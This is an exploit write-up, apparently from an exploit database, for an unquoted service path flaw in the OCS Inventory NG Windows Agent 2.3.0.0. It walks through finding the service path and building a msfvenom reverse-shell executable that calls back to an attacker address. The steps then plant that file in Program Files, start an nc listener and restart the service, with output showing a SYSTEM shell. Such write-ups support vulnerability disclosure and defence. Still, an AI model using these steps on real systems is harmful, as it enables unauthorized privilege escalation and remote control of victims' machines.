7e3a257da8
11 changes to exploits/shellcodes/ghdb PaperCut NG/MG 22.0.4 - Authentication Bypass KodExplorer 4.49 - CSRF to Arbitrary File Upload Mars Stealer 8.3 - Admin Account Takeover Multi-Vendor Online Groceries Management System 1.0 - Remote Code Execution Sophos Web Appliance 4.3.10.4 - Pre-auth command injection Arcsoft PhotoStudio 6.0.0.172 - Unquoted Service Path OCS Inventory NG 2.3.0.0 - Unquoted Service Path Wondershare Filmora 12.2.9.2233 - Unquoted Service Path Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
84 lines
No EOL
3.8 KiB
Text
84 lines
No EOL
3.8 KiB
Text
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# #
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# Exploit Title: OCS Inventory NG 2.3.0.0 - Unquoted Service Path #
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# Date: 2023/04/21 #
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# Exploit Author: msd0pe #
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# Vendor Homepage: https://oscinventory-ng.org #
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# Software Link: https://github.com/OCSInventory-NG/WindowsAgent #
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# My Github: https://github.com/msd0pe-1 #
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# Fixed in version 2.3.1.0 #
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# #
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#####################################################################
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OCS Inventory NG Windows Agent:
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Versions below 2.3.1.0 contains an unquoted service path which allows attackers to escalate privileges to the system level.
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[1] Find the unquoted service path:
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> wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
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OCS Inventory Service OCS Inventory Service C:\Program Files (x86)\OCS Inventory Agent\OcsService.exe Auto
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[2] Get informations about the service:
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> sc qc "OCS Inventory Service"
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: OCS Inventory Service
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TYPE : 110 WIN32_OWN_PROCESS (interactive)
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files (x86)\OCS Inventory Agent\OcsService.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : OCS Inventory Service
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DEPENDENCIES : RpcSs
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: EventLog
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: Winmgmt
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: Tcpip
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SERVICE_START_NAME : LocalSystem
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[3] Generate a reverse shell:
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> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o OCS.exe
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[4] Upload the revese shell to C:\Program Files (x86)\OCS.exe
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> put OCS.exe
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> ls
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drw-rw-rw- 0 Sat Apr 22 05:20:38 2023 .
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drw-rw-rw- 0 Sat Apr 22 05:20:38 2023 ..
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Common Files
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-rw-rw-rw- 174 Sun Jul 24 08:12:38 2022 desktop.ini
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drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Internet Explorer
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drw-rw-rw- 0 Sun Jul 24 07:27:06 2022 Microsoft
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Microsoft.NET
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drw-rw-rw- 0 Sat Apr 22 04:51:20 2023 OCS Inventory Agent
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-rw-rw-rw- 7168 Sat Apr 22 05:20:38 2023 OCS.exe
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drw-rw-rw- 0 Sat Apr 22 03:24:58 2023 Windows Defender
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drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Mail
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drw-rw-rw- 0 Thu Jul 28 13:00:04 2022 Windows Media Player
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Multimedia Platform
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows NT
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drw-rw-rw- 0 Fri Oct 28 05:25:41 2022 Windows Photo Viewer
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Portable Devices
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 Windows Sidebar
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drw-rw-rw- 0 Sun Jul 24 08:18:13 2022 WindowsPowerShell
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[5] Start listener
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> nc -lvp 4444
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[6] Reboot the service/server
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> sc stop "OCS Inventory Service"
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> sc start "OCS Inventory Service"
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OR
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> shutdown /r
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[7] Enjoy !
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192.168.1.102: inverse host lookup failed: Unknown host
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connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
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Microsoft Windows [Version 10.0.19045.2130]
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(c) Microsoft Corporation. All rights reserved.
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C:\Windows\system32>whoami
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nt authority\system |